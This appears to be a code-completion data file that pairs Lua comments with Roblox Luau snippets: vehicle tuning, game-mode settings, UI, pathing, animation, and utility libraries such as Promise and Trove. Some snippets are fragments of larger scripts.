Prompt:
--[[
	Constructs and returns objects which can be used to model derived reactive
	state.
]]

Response:
local Package = script.Parent.Parent
local Types = require(Package.Types)
local captureDependencies = require(Package.Dependencies.captureDependencies)
local initDependency = require(Package.Dependencies.initDependency)
local useDependency = require(Package.Dependencies.useDependency)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)

local class = {}

local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
RunService = game:GetService("RunService")

ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")

ToolEquipped = false

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	if not CheckIfAlive() then
		return
	end
	PlayerMouse = Player:GetMouse()
	ToolEquipped = true
end

function Unequipped()
	ToolEquipped = false
end

function InvokeServer(mode, value)
	local ServerReturn
	pcall(function()
		ServerReturn = ServerControl:InvokeServer(mode, value)
	end)
	return ServerReturn
end

function OnClientInvoke(mode, value)
	if not ToolEquipped or not CheckIfAlive() or not mode then
		return
	end
	if mode == "MouseData" then
		return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
	end
end

ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt:
--[=[
	@return Trove
	Creates and adds another trove to itself. This is just shorthand
	for `trove:Construct(Trove)`. This is useful for contexts where
	the trove object is present, but the class itself isn't.

	:::note
	This does _not_ clone the trove. In other words, the objects in the
	trove are not given to the new constructed trove. This is simply to
	construct a new Trove and add it as an object to track.
	:::

	```lua
	local trove = Trove.new()
	local subTrove = trove:Extend()

	trove:Clean() -- Cleans up the subTrove too
	```
]=]

Response:
function Trove:Extend()
	return self:Construct(Trove)
end


Prompt: --// Ammo Settings

Response:
	Ammo = 7;
	StoredAmmo = 7;
	MagCount = math.huge; --  If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
	ExplosiveAmmo = 3;


Prompt: -- RANK, RANK NAMES & SPECIFIC USERS

Response:
Ranks = {
	{5,	"Hotel Owner",		};
	{4,	"Hotel Manager",	{"",0},	};
	{3,	"Hotel Worker",		{"",0},	};
	{2,	"Hotel Helper",			{"",0},	};
	{1,	"Hotel Desk",			{"",0},	};
	{0,	"Hotel Guest",		};
};


Prompt: --local cameraModule = playerModule:GetCameras()

Response:
local camera = workspace.CurrentCamera

local avatarEditorFrame = avatarEditorGui.Main
local catalogFrame = avatarEditorFrame.Catalog
local viewerFrame = avatarEditorFrame.Viewer

local detailsOverlay = avatarEditorGui.DetailsOverlay
local toggleButton = avatarEditorGui.Toggle

local doneButton = viewerFrame.Done
local viewButton = viewerFrame.View

local headerFrame = catalogFrame.Header
local categoryTabsFrame = headerFrame.CategoryTabs
local subCategoryTabsFrame = headerFrame.SubCategoryTabs
local searchFrame = headerFrame.Search

local containerFrame = catalogFrame.Container
local scrollingFrame = containerFrame.ScrollingFrame
local scrollingFrameUIGridLayout = scrollingFrame.UIGridLayout

local scaleFrame = containerFrame.ScaleFrame
local scaleFrameUIGridLayout = scaleFrame.UIGridLayout

local searchTextBox = searchFrame.TextBox
local clearSearchButton = searchFrame.Clear

local purchasePrompt = PurchasePrompt.new(detailsOverlay)

local activeButtons = Maid.new()
local activeConnections = Maid.new()
local activeCategoryButtons = {}
local activeSubCategoryButtons = {}

local numberValue = Instance.new("NumberValue")
numberValue.Value = CAMERA_OFFSET

local categoryButtons = TableUtil.Filter(categoryTabsFrame:GetChildren(), function(item)
	return item:IsA("GuiButton")
end)
local subCategoryFrames = TableUtil.Filter(subCategoryTabsFrame:GetChildren(), function(item)
	return item:IsA("GuiObject")
end)

local catalogFrameOpenTween = Tween:Create(catalogFrame, tweenInfo, {Position = UDim2.new(0, 0, 0, 0)})
local catalogFrameCloseTween = Tween:Create(catalogFrame, tweenInfo, {Position = UDim2.new(-0.6, 0, 0, 0)})
local viewerFrameOpenTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1, 0, 0, 0)})
local viewerFrameCloseTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1.4, 0, 0, 0)})
local viewFramePartialOpenTween = Tween:Create(viewerFrame, tweenInfo, {Position = UDim2.new(1.4, -36, 0, 0)})
local fullViewCloseTween = Tween:Create(numberValue, tweenInfo, {Value = CAMERA_OFFSET})
local fullViewOpenTween = Tween:Create(numberValue, tweenInfo, {Value = 0.5})

local currentCategory = "Accessories"
local currentSubCategory = "Hair"

local isOpen = false
local fullView = false


Prompt: -- Game Mode Overrides

Response:
_overrides.DEFAULT = {
	game_mode_name = "DEFAULT",
	override = true,
}

_overrides.DEATHMATCH = {
	game_mode_name = "DEATHMATCH",
	override = true,

	respawn = true,
	respawnTime = 5,
	respawn_radius_lowest_fraction = 0.7, -- players will respawn between lowest_fraction and highest_fraction of target storm radius
	respawn_radius_highest_fraction = 0.9,
	respawn_height_fraction = 0.75, -- fraction of delivery_vehicle_spawn_height
	killsNeededToWin = 25,

	storm = {
		radius = 6000,
		time_before_start = 18,
		debug_time_scale = 1,
		number_of_stages = 5,

		-- stage 0 (show starting circle with no transition)
		{ transition_length = 0,
			wait_length = 210,
			damage = 1,
			move_scale = 0,
			shrinkage_factor = 0 },

		-- stage 1
		{ transition_length = 120,
			wait_length = 120,
			damage = 3,
			shrinkage_factor = 0.75 },

		-- stage 2
		{ transition_length = 90,
			wait_length = 90,
			damage = 5,
			shrinkage_factor = 0.3 },

		-- stage 3
		{ transition_length = 75,
			wait_length = 0,
			damage = 7,
			shrinkage_factor = 0.3 },

		-- stage 4 (wait indefinitely until match ends)
		{ transition_length = 0,
		wait_length = 1,
		damage = 10,
		shrinkage_factor = 0 },
	},
}

_overrides.TEAM_DEATHMATCH = {
	game_mode_name = "TEAM_DEATHMATCH",
	override = true,

	-- Respawn config values
	respawn = true,
	respawnTime = 5,
	respawn_radius_lowest_fraction = 0.7, -- players will respawn between lowest_fraction and highest_fraction of target storm radius
	respawn_radius_highest_fraction = 0.9,
	respawn_height_fraction = 0.75, -- fraction of delivery_vehicle_spawn_height

	-- Team config values
	num_teams = 2,
	team_names = {
		"Orange",
		"Blue",
	},
	team_colors = {
		Color3.fromRGB(255, 120, 0),
		Color3.fromRGB(0, 120, 255),
	},
	num_respawn_tickets = 15,
	delivery_vehicle_offset_from_center = 1800, --  delivery vehicle paths will be set this distance (in studs) from center dividing line

	storm = {
		radius = 6000,
		time_before_start = 18,
		debug_time_scale = 1,
		number_of_stages = 5,

		-- stage 0 (show starting circle with no transition)
		{ transition_length = 0,
			wait_length = 210,
			damage = 1,
			move_scale = 0,
			shrinkage_factor = 0 },

		-- stage 1
		{ transition_length = 120,
			wait_length = 120,
			damage = 3,
			shrinkage_factor = 0.75 },

		-- stage 2
		{ transition_length = 90,
			wait_length = 90,
			damage = 5,
			shrinkage_factor = 0.3 },

		-- stage 3
		{ transition_length = 75,
			wait_length = 0,
			damage = 7,
			shrinkage_factor = 0.3 },

		-- stage 4 (wait indefinitely until match ends)
		{ transition_length = 0,
		wait_length = 1,
		damage = 10,
		shrinkage_factor = 0 },
	},
}


Prompt: -- constants

Response:
local GUI		= script.Parent
local SQUAD_GUI	= GUI:WaitForChild("Squad")

local HEALTH_COLOR	= Color3.fromRGB(80, 208, 45)
local DOWN_COLOR	= Color3.fromRGB(216, 33, 33)


Prompt: --Actual script

Response:
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function()
if script:FindFirstChild("SendDeathMessage") and script:FindFirstChild("DeathMessage") then
script:FindFirstChild("SendDeathMessage").Parent = game.ReplicatedStorage
script:FindFirstChild("DeathMessage").Parent = game.StarterGui
if player.Character:FindFirstChild("Humanoid") then
local hum = player.Character:FindFirstChild("Humanoid")
hum.Died:Connect(function()
local DeathMessage = DeathMessages[math.random(1,#DeathMessages)]
local Users = game.Players:GetChildren()
for i, User in pairs(Users) do
if game.ReplicatedStorage:FindFirstChild("SendDeathMessage") then
game.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. " " .. DeathMessage)
end
end
end)
end
elseif game.ReplicatedStorage:FindFirstChild("SendDeathMessage") and game.StarterGui:FindFirstChild("DeathMessage") then
if player.Character:FindFirstChild("Humanoid") then
local hum = player.Character:FindFirstChild("Humanoid")
hum.Died:Connect(function()
local DeathMessage = DeathMessages[math.random(1,#DeathMessages)]
local Users = game.Players:GetChildren()
for i, User in pairs(Users) do
if game.ReplicatedStorage:FindFirstChild("SendDeathMessage") then
game.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. " " .. DeathMessage)
end
end
end)
end
end
end)
end)


Prompt: --script.Parent.SelectTab.TabButtonNameHere.MouseButton1Click:connect(CustomTab)

Response:
script.Parent.PageNext.MouseButton1Click:connect(Next)
script.Parent.PagePrev.MouseButton1Click:connect(Prev)


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .2		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .2		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .2		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .2		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
--[=[
	Flattens all the brios in one brio and combines them, and then switches it to
	a brio so only the last state is valid.

	@param observables { [any]: Observable<Brio<T>> | Observable<T> | T }
	@param filter function | nil
	@return Observable<Brio<{ [any]: T }>>
]=]

Response:
function RxBrioUtils.flatCombineLatestBrio(observables, filter)
	assert(type(observables) == "table", "Bad observables")

	return RxBrioUtils.flatCombineLatest(observables)
		:Pipe({
			RxBrioUtils.switchToBrio();
			filter and RxBrioUtils.where(filter) or nil
		})
end


Prompt:
--[[
	ROBLOX deviation: ReactSharedInternals captures singleton state across the
	whole workspace. This file and the modules it requires were moved from React
	to untangle a cyclic workspace member dependency.

	Before:
	* ReactSharedInternals (and the 5 associated modules) lived in React
	* React had a dependency on Shared
	* Shared reached into React source to re-export ReactSharedInternals (cycle)

	After:
	* ReactSharedInternals (and the 5 associated modules) live in Shared
	* React depends on Shared
	* Shared has no intra-workspace dependencies (no cycles)
]]

Response:
local Packages = script.Parent.Parent
local console = require(Packages.LuauPolyfill).console
local function onlyInTestError(functionName: string)
	return function()
		console.error(functionName .. " is only available in tests, not in production")
	end
end


Prompt: -- Gradually regenerates the Humanoid's Health over time. FOTPS

Response:
local REGEN_RATE = 20 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.1 -- Wait this long between each regeneration step.


Prompt: --		print("Wha " .. pose)

Response:
		stopAllAnimations()
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	if (setAngles) then
		desiredAngle = amplitude * math.sin(time * frequency)

		RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
		LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
		RightHip:SetDesiredAngle(-desiredAngle)
		LeftHip:SetDesiredAngle(-desiredAngle)
	end

	-- Tool Animation handling
	local tool = getTool()
	if tool then

		animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()
	else
		stopToolAnimations()
		toolAnim = "None"
		toolAnimInstance = nil
		toolAnimTime = 0
	end
end


Prompt:
--[[**
	ensures Lua primitive callback type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
t.callback = primitive("function")
t["function"] = t.callback


Prompt:
-- REQUIRED PARTS -----------------------------------------------
-- Include all of these, or things will break!

Response:
local headlights = {
	model.Headlight_Left,
	model.Headlight_Right
}
local brakelights = {
	model.Brakelight_Left,
	model.Brakelight_Right
}
local seat = model.VehicleSeat -- Your driver seat
local upVectorPart = model.VehicleSeatBack -- Any part with lookvector up (we use this when you get flipped over)
local gyro = upVectorPart.BodyGyro  -- Point this to any unused bodyGyro.
local smoke = model.ExhaustPipe.Smoke
local fire = model.ExhaustPipe.Fire


Prompt: -- Handle potential Premium purchase from outside the game while user is playing

Response:
Players.PlayerMembershipChanged:Connect(function(player)
	warn("Player membership changed; new membership is " .. tostring(player.MembershipType))
	if player.MembershipType == Enum.MembershipType.Premium then
		-- Teleport player to the Premium-only place


Prompt: -- Requires - Module Functions

Response:
ServerSceneFramework.LoadCharacterRemoteEventModule = require(script.LoadCharacterRemoteEventModule)
ServerSceneFramework.LoadSceneModule = require(script.LoadSceneModule)
ServerSceneFramework.FinishedLoadingClientModule = require(script.FinishedLoadingClientModule)
ServerSceneFramework.LoadSceneFromListEventModule = require(script.LoadSceneFromListEventModule)
ServerSceneFramework.GetCurrentSceneEnvironmentModule = require(script.GetCurrentSceneEnvironmentModule)
ServerSceneFramework.IsLoadingSceneModule = require(script.IsLoadingSceneModule)
ServerSceneFramework.LoadSceneServerModule = require(script.LoadSceneServerModule)
ServerSceneFramework.OnPlayerAddedModule = require(script.OnPlayerAddedModule)
ServerSceneFramework.CheckFolderForLoadedScenesModule = require(script.CheckFolderForLoadedScenesModule)
ServerSceneFramework.FindClientFolderModule = require(script.FindClientFolderModule)
ServerSceneFramework.FindServerFolderModule = require(script.FindServerFolderModule)
ServerSceneFramework.InitModule = require(script.InitModule)
ServerSceneFramework.HandleOrchestrateEvent = require(script.HandleOrchestrateEvent)

local Orchestra = script.Parent


Response:
local function CheckAlive()
	local humanoid = findPlayerHumanoid(Player)
	return humanoid ~= nil and humanoid.Health > 0
end

local function GetEquippedTool(character)
	if character ~= nil then
		for _, child in pairs(character:GetChildren()) do
			if child:IsA('Tool') then
				return child
			end
		end
	end
end

local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil

local function CleanupPath()
	if ExistingPather then
		ExistingPather:Cancel()
		ExistingPather = nil
	end
	if PathCompleteListener then
		PathCompleteListener:Disconnect()
		PathCompleteListener = nil
	end
	if PathFailedListener then
		PathFailedListener:Disconnect()
		PathFailedListener = nil
	end
	if ExistingIndicator then
		ExistingIndicator:Destroy()
	end
end

local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath)
	if ExistingPather then
		CleanupPath()
	end
	ExistingPather = thisPather
	thisPather:Start(overrideShowPath)

	PathCompleteListener = thisPather.Finished.Event:Connect(function()
		CleanupPath()
		if hitChar then
			local currentWeapon = GetEquippedTool(character)
			if currentWeapon then
				currentWeapon:Activate()
			end
		end
	end)
	PathFailedListener = thisPather.PathFailed.Event:Connect(function()
		CleanupPath()
		if overrideShowPath == nil or overrideShowPath then
			local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive())
			if shouldPlayFailureAnim then
				ClickToMoveDisplay.PlayFailureAnimation()
			end
			ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
		end
	end)
end

local function ShowPathFailedFeedback(hitPt)
	if ExistingPather and ExistingPather:IsActive() then
		ExistingPather:Cancel()
	end
	if PlayFailureAnimation then
		ClickToMoveDisplay.PlayFailureAnimation()
	end
	ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end

function OnTap(tapPositions, goToPoint, wasTouchTap)
	-- Good to remember if this is the latest tap event
	local camera = Workspace.CurrentCamera
	local character = Player.Character

	if not CheckAlive() then return end

	-- This is a path tap position
	if #tapPositions == 1 or goToPoint then
		if camera then
			local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
			local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)

			local myHumanoid = findPlayerHumanoid(Player)
			local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList())

			local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
			if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then
				local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent)
				if clickedPlayer then
					CleanupPath()
					return
				end
			end
			if goToPoint then
				hitPt = goToPoint
				hitChar = nil
			end
			if hitPt and character then
				-- Clean up current path
				CleanupPath()
				local thisPather = Pather(hitPt, hitNormal)
				if thisPather:IsValidPath() then
					HandleMoveTo(thisPather, hitPt, hitChar, character)
				else
					-- Clean up
					thisPather:Cleanup()
					-- Feedback here for when we don't have a good path
					ShowPathFailedFeedback(hitPt)
				end
			end
		end
	elseif #tapPositions >= 2 then
		if camera then
			-- Do shoot
			local currentWeapon = GetEquippedTool(character)
			if currentWeapon then
				currentWeapon:Activate()
			end
		end
	end
end

local function DisconnectEvent(event)
	if event then
		event:Disconnect()
	end
end


Prompt: --	[TORQUE CURVE VISUAL]

Response:
	Tune.IdleRPM		= 1000		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6200		--		Use sliders to manipulate values
	Tune.Redline		= 7700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt:
--[[**
	Returns a t.union of each key in the table as a t.literal

	@param keyTable The table to get keys from

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
function t.keyOf(keyTable)
	local keys = {}
	local length = 0
	for key in keyTable do
		length = length + 1
		keys[length] = key
	end

	return t.literal(table.unpack(keys, 1, length))
end


Prompt:
--[=[
	@param data table
	@return Option
	Deserializes the data into an Option. This data should have come from
	the `option:Serialize()` method.
]=]

Response:
function Option.Deserialize(data) -- type data = {ClassName: string, Value: any}
	assert(type(data) == "table" and data.ClassName == CLASSNAME, "Invalid data for deserializing Option")
	return data.Value == nil and Option.None or Option.Some(data.Value)
end


Prompt: --// Servc

Response:
local UIS = game:GetService('UserInputService')
local Players = game:GetService('Players')
local SSS = game:GetService('ServerScriptService')
local rp = game:GetService("ReplicatedStorage")


Prompt: --bp.Position = shelly.PrimaryPart.Position

Response:
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end

local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren()

shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()

repeat task.wait() until tick()-ostrich > 10
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)

while true do
if shellyGood then
MoveShelly()
else
task.wait(1)
end
end


Prompt:
-- Do not edit these values, they are not the developer-set limits, they are limits
-- to the values the camera system equations can correctly handle

Response:
local MIN_ALLOWED_ELEVATION_DEG = -80
local MAX_ALLOWED_ELEVATION_DEG = 80

local externalProperties = {}
externalProperties["InitialDistance"] 	= 25
externalProperties["MinDistance"] 		= 10
externalProperties["MaxDistance"] 		= 100
externalProperties["InitialElevation"] 	= 35
externalProperties["MinElevation"] 		= 35
externalProperties["MaxElevation"] 		= 35
externalProperties["ReferenceAzimuth"] 	= -45	-- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally
externalProperties["CWAzimuthTravel"] 	= 90	-- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above
externalProperties["CCWAzimuthTravel"] 	= 90	-- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above
externalProperties["UseAzimuthLimits"] 	= false -- Full rotation around Y axis available by default

local Util = require(script.Parent:WaitForChild("CameraUtils"))


Prompt:
-- ================================================================================
-- Settings - Tachyon
-- ================================================================================

Response:
local Settings = {}

Settings.DefaultSpeed = 200		-- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 300		-- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 6		-- Duration of boost in seconds
Settings.Steering = 8			-- How quickly the speeder turns [Range: 1-10]


Prompt:
--[[
	Constructs a new Promise with the given initializing callback.

	This is generally only called when directly wrapping a non-promise API into
	a promise-based version.

	The callback will receive 'resolve' and 'reject' methods, used to start
	invoking the promise chain.

	Second parameter, parent, is used internally for tracking the "parent" in a
	promise chain. External code shouldn't need to worry about this.
]]

Response:
function Promise._new(traceback, callback, parent)
	if parent ~= nil and not Promise.is(parent) then
		error("Argument #2 to Promise.new must be a promise or nil", 2)
	end

	local self = {
		-- Used to locate where a promise was created
		_source = traceback,

		_status = Promise.Status.Started,

		-- A table containing a list of all results, whether success or failure.
		-- Only valid if _status is set to something besides Started
		_values = nil,

		-- Lua doesn't like sparse arrays very much, so we explicitly store the
		-- length of _values to handle middle nils.
		_valuesLength = -1,

		-- Tracks if this Promise has no error observers..
		_unhandledRejection = true,

		-- Queues representing functions we should invoke when we update!
		_queuedResolve = {},
		_queuedReject = {},
		_queuedFinally = {},

		-- The function to run when/if this promise is cancelled.
		_cancellationHook = nil,

		-- The "parent" of this promise in a promise chain. Required for
		-- cancellation propagation upstream.
		_parent = parent,

		-- Consumers are Promises that have chained onto this one.
		-- We track them for cancellation propagation downstream.
		_consumers = setmetatable({}, MODE_KEY_METATABLE),
	}

	if parent and parent._status == Promise.Status.Started then
		parent._consumers[self] = true
	end

	setmetatable(self, Promise)

	local function resolve(...)
		self:_resolve(...)
	end

	local function reject(...)
		self:_reject(...)
	end

	local function onCancel(cancellationHook)
		if cancellationHook then
			if self._status == Promise.Status.Cancelled then
				cancellationHook()
			else
				self._cancellationHook = cancellationHook
			end
		end

		return self._status == Promise.Status.Cancelled
	end

	coroutine.wrap(function()
		local ok, _, result = runExecutor(
			self._source,
			callback,
			resolve,
			reject,
			onCancel
		)

		if not ok then
			reject(result[1])
		end
	end)()

	return self
end

function Promise.new(executor)
	return Promise._new(debug.traceback(nil, 2), executor)
end

function Promise:__tostring()
	return string.format("Promise(%s)", self._status)
end


Prompt:
--script.Parent.KK.Velocity = script.Parent.KK.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.KKK.Velocity = script.Parent.KKK.CFrame.lookVector *script.Parent.Speed.Value

Response:
script.Parent.KKKK.Velocity = script.Parent.KKKK.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.L.Velocity = script.Parent.L.CFrame.lookVector *script.Parent.Speed.Value


Response:
function Scale()
	local magnitude = GrabMagnitude()

	--- Don't run this if we don't need to (resolution hasn't changed much)
	if (not magnitude) or (lastMagnitude and math.abs(lastMagnitude - magnitude) < differenceToScan) or (lastMagnitude and lastMagnitude >= bestResolution and magnitude >= bestResolution) then
		return
	end
	lastMagnitude = magnitude

	--- Calculate ratio
	local ratio = maxDownscale + ((math.min(magnitude, bestResolution) / bestResolution) * (1 - maxDownscale))

	--- Change 9Slices
	for _, gui in ipairs(_L.Player.Get("PlayerGui"):GetChildren()) do
		if gui.ClassName == "ScreenGui" and (not _L.Functions.SearchArray(blacklist, gui.Name)) then
			for i, v in ipairs(gui:GetDescendants()) do
				--- Yield to prevent microstuttering for lots of gui elements
				if i%200 == 0 then
					wait()
				end

				--- Adjust 9slice scaling ratio based on resolution
				if (v.ClassName == "ImageLabel" or v.ClassName == "ImageButton") and v.ScaleType == Enum.ScaleType.Slice then
					if not archive[v] then
						archive[v] = v.SliceScale
					end
					local base = archive[v]
					v.SliceScale = base * ratio
				end
			end
		end
	end
end

function GrabMagnitude()
	local resolution = _L.Player.Get("Camera").ViewportSize
	if resolution then
		local magnitude = resolution.Magnitude
		return magnitude
	end
end


Prompt:
--This is just some simple server script that moves the object around every frame
--The kinematics module handles the rest

Response:
game["Run Service"].Heartbeat:Connect(function(deltaTime)

	local speed = script:GetAttribute("speed") or Vector3.zero
	total+=deltaTime
	part.CFrame = startPos * CFrame.fromEulerAngles(total*speed.x,total*speed.y,total*speed.z)
end)


Prompt: -- ROBLOX deviation: we change from backtick to our literal string delimiter [=[ and ]=]

Response:
local function printBacktickString(str: string): string
	return "[=[\n" .. str .. "]=]"
end

local function ensureDirectoryExists(filePath: string)
	-- ROBLOX deviation: gets path of parent directory, GetScriptFilePath can only be called on ModuleScripts
	local pathComponents = filePath:split("/")
	pathComponents = table.pack(table.unpack(pathComponents, 1, #pathComponents - 1))
	local path = table.concat(pathComponents, "/")
	local ok, err = pcall(function()
		if not FileSystemService:Exists(path) then
			FileSystemService:CreateDirectories(path)
		end
	end)

	if not ok and err:find("Error%(13%): Access Denied%. Path is outside of sandbox%.") then
		error(
			"Provided path is invalid: you likely need to provide a different argument to --fs.readwrite.\n"
				.. "You may need to pass in `--fs.readwrite=$PWD`"
		)
	end
end

function normalizeNewLines(string_: string)
	string_ = string.gsub(string_, "\r\n", "\n")
	local result = string.gsub(string_, "\r", "\n")
	return result
end


Prompt: --[[Wheel Stabilizer Gyro]]

Response:
	Tune.FGyroDamp		= 400		-- Front Wheel Non-Axial Dampening
	Tune.RGyroDamp		= 400		-- Rear Wheel Non-Axial Dampening


Prompt: -- wrapping long conditional in function

Response:
local function isShiftLockMode()
	return LocalPlayer.DevEnableMouseLock and GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch and
			LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.ClickToMove and
			GameSettings.ComputerMovementMode ~= Enum.ComputerMovementMode.ClickToMove and
			LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.Scriptable and
			not UserInputService.GamepadEnabled
end

if not UserInputService.TouchEnabled then	-- TODO: Remove when safe on mobile
	IsShiftLockMode = isShiftLockMode()
end


Prompt:
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks

Response:
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
	local animTracks = animator:GetPlayingAnimationTracks()
	for i,track in ipairs(animTracks) do
		track:Stop(0)
		track:Destroy()
	end
end

for name, fileList in pairs(animNames) do
	configureAnimationSet(name, fileList)
end
for _,child in script:GetChildren() do
	if child:isA("StringValue") then
		animNames[child.Name] = {}
		configureAnimationSet(child.Name, animNames[child.Name])
	end
end


Prompt:
-- ROBLOX TODO: fix PrettyFormat types imports
-- local PrettyFormat = require(Packages.PrettyFormat)

Response:
local PrettyFormat = require(CurrentModule.PrettyFormat)
type PrettyFormatOptions = PrettyFormat.OptionsReceived

local utils = require(CurrentModule.utils)
local addExtraLineBreaks = utils.addExtraLineBreaks
local getSnapshotData = utils.getSnapshotData
local keyToTestName = utils.keyToTestName
local removeExtraLineBreaks = utils.removeExtraLineBreaks


Prompt: --[ MAIN LOCALS ]-

Response:
local Player = game.Players.LocalPlayer
local Event = game.ReplicatedStorage.MusicEvents.NewSong
local Frame = script.Parent.Parent
local Gui = game.StarterGui.SurfaceGui.SongPart.Frame.SongName
local SongText = Gui.Text
local sound = game.Workspace.Sound
local label = script.Parent.Parent.Requester


Prompt:
